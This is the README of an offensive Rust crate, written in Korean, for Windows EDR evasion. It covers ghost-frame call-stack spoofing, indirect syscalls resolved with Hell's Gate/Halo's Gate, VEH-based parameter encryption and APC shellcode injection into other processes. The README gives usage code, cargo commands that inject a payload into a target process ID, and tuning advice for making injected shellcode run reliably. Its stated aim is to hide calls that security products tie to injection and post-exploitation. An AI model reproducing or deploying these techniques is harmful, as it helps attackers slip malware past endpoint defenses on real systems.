
Windows x64용 ghost-frame call-stack spoofing, runtime indirect syscalls 및 APC injection을 위한 Rust crate입니다. SSN resolution, JIT stub emission 및 VEH-based parameter encryption을 제공하여 EDR evasion을 지원합니다.
Windows x64용 고스트 프레임 호출 스택 스푸핑 + 런타임 간접 시스템 콜 — Rust로 포팅됨.
Mohamed Alzhrani(0xmaz)의 LACUNA Chain(lacuna_chain.c)에서 포팅됨.
lacuna-rs는 원본 C TTP와 동일한 프리미티브를 제공하는 재사용 가능한 Rust 크레이트로, wsyscall-rs나 syscalls-rs처럼 모든 Rust 프로젝트에 바로 적용할 수 있도록 구조화되어 있지만, 런타임 SSN 해석, 함수별 syscall;ret 타겟팅, 그리고 고스트 프레임 스택 스푸핑을 갖추고 있습니다.
stack-spoof기능은 이를 사용하는 크레이트가 프레임 포인터와 함께 컴파일되지 않으면 조용히 실패합니다.
chain.rs의 스택 스톰핑 프리미티브는 mov rbp, {x} 인라인 어셈을 통해 호출자의 반환 주소 슬롯을 찾습니다. 이를 위해서는 RBP 체인이 온전해야 합니다. Rust(그리고 대부분의 릴리스 모드 컴파일러)는 기본적으로 프레임 포인터를 생략합니다.
build.rs는 이 크레이트 자체의 코드 생성에 대해 force-frame-pointers=yes를 설정하지만, Cargo는 컴파일러 플래그를 하위 크레이트로 전파할 수 없습니다. 다음을 자신의 프로젝트에 추가해야 합니다:```toml
[build] rustflags = ["-C", "force-frame-pointers=yes"]
이것이 없으면 `stomp_plant()`는 RBP에서 가비지 값을 읽어들이고, 최선의 경우 아무 동작도 하지 않거나 최악의 경우 스택을 손상시킵니다. 이 크레이트는 런타임에 프레임 포인터가 활성화되어 있는지 감지할 방법이 없으며, 단순히 작동하지 않을 것입니다.
스캐닝, SSN 해석 또는 인젝션 프리미티브만 필요하다면(스택 스푸핑 없이), `stack-spoof` 기능을 생략할 수 있으며 이 요구 사항은 적용되지 않습니다.
---
## 수행하는 작업
| 프리미티브 | C 함수 | Rust 모듈 |
|---|---|---|
| PE 섹션 + 익스포트 파싱 | `pe_section()`, `pe_export()` | `pe` |
| `.pdata` 고스트 영역 스캐닝 | `scan_ghosts()`, `best_ghost()` | `scan` |
| 고스트 가젯 탐색 (`jmp [rbx]`) | `scan_ghost_gadgets()` | `scan` |
| `win32u` NOP 갭 탐색기 | `win32u_nop_gap()` | `scan` |
| BYOUD-MF 앵커 탐색기 | `find_mf_target()` | `scan` |
| SSN 해석 (Hell's Gate / Halo's Gate) | `resolve_ssn()` | `nt` |
| 함수별 `syscall;ret` 로케이터 | `find_func_syscall()` | `nt` |
| JIT 간접 시스템 콜 스텁 생성 | `alloc_stub()` | `stub` |
| 고스트 가젯 스텁 리다이렉트 | (`alloc_stub()` 내) | `stub` |
| VEH + 하드웨어 브레이크포인트 파라미터 암호화 | `param_encrypt_veh()`, `pcrypt_arm()` | `veh` |
| 체인 가드 VEH | `chain_veh()` | `veh` |
| LACUNA 체인 구성 | `build_chain()` | `chain` |
| 스택 스톰프 (BYOUD-RT) | `stomp_plant()`, `stomp_restore()` | `chain` |
| 체인 워커 (검증) | `lacuna_walk_chain()` | `chain` |
| 섹션 기반 APC 인젝션 | `do_inject_sapc()` | `inject` |
---
## 기능 플래그```toml
[dependencies]
lacuna-rs = { version = "0.4", features = ["inject", "stack-spoof", "veh"] }
| 기능 | 설명 | 프레임 포인터 필요 여부 |
|---|---|---|
syscalls (기본값) | SSN 해석 + JIT 스텁 생성 | 아니요 |
inject (기본값) | 섹션 기반 APC 인젝션 (inject::inject_sapc) | 아니요 |
veh | VEH + 하드웨어 브레이크포인트 파라미터 암호화 | 아니요 |
stack-spoof | LACUNA 고스트 프레임 체인 + 스택 스톰프 | 예 |
no-std | no_std 모드 (실험적) | 아니요 |
기능이 활성화되지 않은 경우 스캐닝/PE/NT 계층만 사용할 수 있습니다.
cargo run --example scan
### 고스트 프레임 체인 빌드 + 검증```sh
cargo run --example verify --features stack-spoof
주입 증명 -- 페이로드가 대상 프로세스 내부에서 실행되었습니다.```sh
cargo run --example inject --features inject,stack-spoof,veh -- <sc.bin>
`--verbose`를 추가하면 VEH 진단 출력(스택 덤프, 레지스터 출력)을 활성화합니다:```sh
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
inject_sapc는 대상의 스레드 순위를 매긴다. 가장 강력한 순위 신호는 스레드가 윈도우를 소유하는지 여부이다:
EnumWindows +
GetWindowThreadProcessId. GUI 스레드는 메시지 루프에서 alertable 대기 상태에 머무르므로, 큐에 들어간 APC가 그곳에서 가장 먼저 실행된다. +1000.NtQueryInformationThread(ThreadCycleTime); 실행 중인 빌드에서 해당 클래스를 사용할 수 없으면 ThreadTimes로 폴백한다 (examples/tprobe.rs 참조). 정규화되어 더해진다.NtQueryInformationThread(ThreadTimes) — 커널 + 사용자 시간.NtQueryInformationThread(ThreadSuspendCount). 서스펜드된 스레드는 APC를 실행할 수 없다: 서스펜드 카운트당 −2000.NtQueryInformationThread(ThreadBasicInformation). 우선순위 8–10은 +150; 범위를 벗어난 우선순위는 −300.필터링. 서스펜드된 스레드와 비-alertable 커널 대기에 머무른 스레드 — WrDelayExecution (Sleep/NtDelayExecution) 또는 WrSuspended, NtQuerySystemInformation(SystemProcessInformation)에서 읽음 — 는 완전히 제외된다 (APC를 절대 받을 수 없다). 대기 이유는 그 외에는 진단용으로만 사용된다: 후보별로 State: / Reason: / Alert:로 로깅되지만, 점수에는 영향을 주지 않는다. KWAIT_REASON은 alertability를 인코딩하지 않기 때문이다 (alertable 대기와 비-alertable 객체 대기는 동일한 값을 보고한다 — examples/tprobe.rs 스타일 프로빙으로 검증됨).
후보들은 정렬되고 (최고 점수, 동점 시 GUI 우선, 그다음 사이클) MAX_APC_CANDIDATES (10)로 잘린다 — 열거/로깅용으로.
열거 ≠ 주입. 나열되는 스레드 수는 주입되는 수와 분리되어 있다.
MAX_APC_CANDIDATES(10)는 순위가 매겨지고 로깅되는 수를 제어하고;APC_INJECT_THREADS(5)는 실제로 APC를 받는 수를 제어한다.여러 스레드에 주입한 후 재시도하는 이유: 사용자 모드는 어떤 스레드가 alertable 대기 상태인지 알 수 없고, 선택된 단일 스레드가 대개 그런 상태에 진입하지 않으므로 APC가 절대 발화되지 않을 수 있다. 따라서
inject_sapc는 여러 스레드에 APC를 큐에 넣은 다음, 공유 게이트 워드가 0에서 1로 바뀔 때까지 — 즉 일부 대상 스레드가 실제로 페이로드를 실행할 때까지 — 짧은 루프(~80 ms)로 재큐잉한다. 이때 발생 여부를 로깅한다:payload claimed the gate(실행됨) vsgate NOT claimed.한 번만 실행하는 이유: 동일한 셸코드/컨텍스트가 각 스레드에 큐잉되므로, 보호 장치가 없으면 재진입 불가능한 페이로드가 동시에 실행되어 호스트를 크래시시킬 수 있다 (측정: 3회 동시 실행). 재진입 게이트 (
USE_REENTRANCY_GATE, 기본 활성화)는 APC를 받는 스레드 수 (또는 재시도 라운드 수)에 관계없이 페이로드 본문이 정확히 한 번 실행되도록 만든다 (측정: 정확히 1회). 페이로드가 명시적으로 동시성 안전하지 않은 한 게이트를 켜 두어라.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions let mut ghosts = [scan::Ghost::default(); 512]; let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts); println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0"); println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
### 모든 NT API에 대한 간접 시스템 호출 스텁 생성```rust
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct // the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route // through JMP [RBX] in a signed DLL. lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard) let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime lacuna::veh::set_verbose(true);
### 민감한 시스템 콜을 스택 스푸핑 + 파라미터 암호화로 래핑하기```rust
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
모든 API 호출이 전체 LACUNA 처리를 필요로 하는 것은 아니다. 핵심 원칙은: EDR이 인젝션 또는 포스트 익스플로잇 활동으로 상관분석할 호출을 숨겨라이다.
다음은 EDR이 후킹하고 상관분석하는 "왕관의 보석" NT 시스템 콜이다: